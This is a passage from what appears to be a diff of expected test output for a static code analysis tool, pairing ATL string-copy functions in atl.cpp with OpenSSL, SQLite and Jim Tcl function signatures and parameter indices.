atl.cpp:928:17:928:25 | CopyChars | (BIGNUM *,int,int,int) | | BN_bntest_rand | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIGNUM *,int,int,int) | | BN_priv_rand | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIGNUM *,int,int,int) | | BN_pseudo_rand | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIGNUM *,int,int,int) | | BN_rand | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,CMS_ContentInfo *,BIO *,int) | | PEM_write_bio_CMS_stream | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,CMS_ContentInfo *,BIO *,int) | | SMIME_write_CMS | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,CMS_ContentInfo *,BIO *,int) | | i2d_CMS_bio_stream | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,PKCS7 *,BIO *,int) | | PEM_write_bio_PKCS7_stream | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,PKCS7 *,BIO *,int) | | SMIME_write_PKCS7 | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,PKCS7 *,BIO *,int) | | i2d_PKCS7_bio_stream | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,X509_EXTENSION *,unsigned long,int) | | X509V3_EXT_print | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,const char *,const OCSP_REQUEST *,int) | | OCSP_sendreq_new | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,const unsigned char *,long,int) | | ASN1_parse | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,int,const ASN1_TYPE *,int) | | ossl_print_attribute_value | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,void *,int,int) | | app_http_tls_cb | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (CERT *,const int *,size_t,int) | | tls1_set_sigalgs | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (CERT *,const uint16_t *,size_t,int) | | tls1_set_raw_sigalgs | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_dh_key_todata | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (DSO *,const char *,DSO_METHOD *,int) | | DSO_load | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (ENGINE *,const char *,const char *,int) | | ENGINE_ctrl_cmd_string | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (ENGINE *,const char *,const char *,int) | | ENGINE_ctrl_cmd_string | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (ENGINE_TABLE **,int,const char *,int) | | ossl_engine_table_select | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (ENGINE_TABLE **,int,const char *,int) | | ossl_engine_table_select | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (EVP_PKEY_CTX *,const char *,int,int) | | app_keygen | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (FFC_PARAMS *,const unsigned char *,size_t,int) | | ossl_ffc_params_set_validate_params | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (FILE *,lemon *,int *,int) | | print_stack_union | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (Jim_Interp *,Jim_Obj *,Jim_Obj **,int) | | Jim_SubstObj | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (Jim_Interp *,Jim_Obj *,Jim_Obj *,int) | | Jim_ScanString | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_AppendString | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_AppendString | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_ListJoin | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_ListJoin | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int) | | ossl_cmp_msg_check_update | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int) | | ossl_cmp_rp_new | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int) | | OSSL_PROVIDER_try_load_ex | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int) | | ossl_param_build_set_int | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int) | | ossl_param_build_set_int | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (RSA *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_rsa_todata | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SIPHASH *,const unsigned char *,int,int) | | SipHash_Init | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int) | | ossl_slh_dsa_key_fromdata | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SSL *,SSL_CTX *,const SSL_METHOD *,int) | | ossl_ssl_init | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int) | | ssl3_output_cert_chain | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SSL_CONNECTION *,stack_st_X509 *,X509 *,int) | | ssl_security_cert_chain | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SXNET **,const char *,const char *,int) | | SXNET_add_id_asc | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (SXNET **,const char *,const char *,int) | | SXNET_add_id_asc | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SXNET **,unsigned long,const char *,int) | | SXNET_add_id_ulong | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (SXNET **,unsigned long,const char *,int) | | SXNET_add_id_ulong | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (TS_RESP_CTX *,int,int,int) | | TS_RESP_CTX_set_accuracy | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (UI *,UI_STRING *,const char *,int) | | UI_set_result_ex | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (UI *,UI_STRING *,const char *,int) | | UI_set_result_ex | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (X509_NAME *,const X509_NAME_ENTRY *,int,int) | | X509_NAME_add_entry | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (X509_NAME_ENTRY *,int,const unsigned char *,int) | | X509_NAME_ENTRY_set_data | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (X509_STORE_CTX *,int,int,int) | | X509_STORE_CTX_purpose_inherit | 3 | | atl.cpp:928:17:928:25 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 | | atl.cpp:928:17:928:25 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 | | atl.cpp:928:17:928:25 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | | atl.cpp:928:17:928:25 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (char *,int,const ASN1_OBJECT *,int) | | OBJ_obj2txt | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const DH *,unsigned char **,size_t,int) | | ossl_dh_key2buf | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const EVP_MD *,const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_v2_new_init | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const X509_NAME *,const ASN1_OBJECT *,char *,int) | | X509_NAME_get_text_by_OBJ | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const X509_NAME *,int,char *,int) | | X509_NAME_get_text_by_NID | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,BIO *,BIO *,int) | | X509_CRL_load_http | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,BIO *,BIO *,int) | | X509_load_http | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,const char *,const char *,int) | | OSSL_HTTP_adapt_proxy | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,const char *,const char *,int) | | OSSL_HTTP_adapt_proxy | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,int,int,int) | | append_str | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,size_t,const char *,int) | | CRYPTO_strndup | 1 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,size_t,const char *,int) | | CRYPTO_strndup | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,size_t,const char *,int) | | CRYPTO_strndup | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,sqlite3_filename,const char *,int) | | sqlite3_uri_boolean | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,sqlite3_filename,const char *,int) | | sqlite3_uri_boolean | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const unsigned char *,unsigned char *,RC2_KEY *,int) | | RC2_ecb_encrypt | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const unsigned char *,unsigned char *,const BF_KEY *,int) | | BF_ecb_encrypt | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const unsigned char *,unsigned char *,const CAST_KEY *,int) | | CAST_ecb_encrypt | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int) | | SEED_ecb_encrypt | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const void *,size_t,const char *,int) | | CRYPTO_memdup | 1 | +| atl.cpp:928:17:928:25 | CopyChars | (const void *,size_t,const char *,int) | | CRYPTO_memdup | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (const void *,size_t,const char *,int) | | CRYPTO_memdup | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (int,ENGINE *,const unsigned char *,int) | | EVP_PKEY_new_mac_key | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (int,int *,int *,int) | | sqlite3_status | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (int,int,const unsigned char *,int) | | PKCS5_pbe_set | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (int,sqlite3_int64 *,sqlite3_int64 *,int) | | sqlite3_status64 | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (sqlite3_blob *,const void *,int,int) | | sqlite3_blob_write | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (sqlite3_blob *,void *,int,int) | | sqlite3_blob_read | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int) | | PKCS12_add_secret | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (uint8_t *,unsigned char *,uint64_t,int) | | ossl_quic_vlint_encode_n | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int) | | CMS_SharedInfo_encode | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char *,int,const char *,int) | | a2d_ASN1_OBJECT | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char *,int,const char *,int) | | a2d_ASN1_OBJECT | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_1 | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_2 | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_X931 | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_none | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned long *,unsigned long *,unsigned long *,int) | | bn_mul_low_normal | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned long,BIGNUM *,BIGNUM *,int) | | BN_consttime_swap | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (void *,const ASN1_ITEM *,int,int) | | PKCS12_item_pack_safebag | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 1 | +| atl.cpp:928:17:928:25 | CopyChars | (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 3 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const unsigned long *,int) | | bn_set_words | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIO *,BIO *,int) | | SMIME_crlf_copy | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIO *,char *,int) | | BIO_get_line | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIO *,const DSA *,int) | | DSA_print | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIO *,const RSA *,int) | | RSA_print | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (FILE *,const DSA *,int) | | DSA_print_fp | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (FILE *,const RSA *,int) | | RSA_print_fp | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (FILE *,rule *,int) | | RulePrint | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (QUIC_RXFC *,uint64_t,int) | | 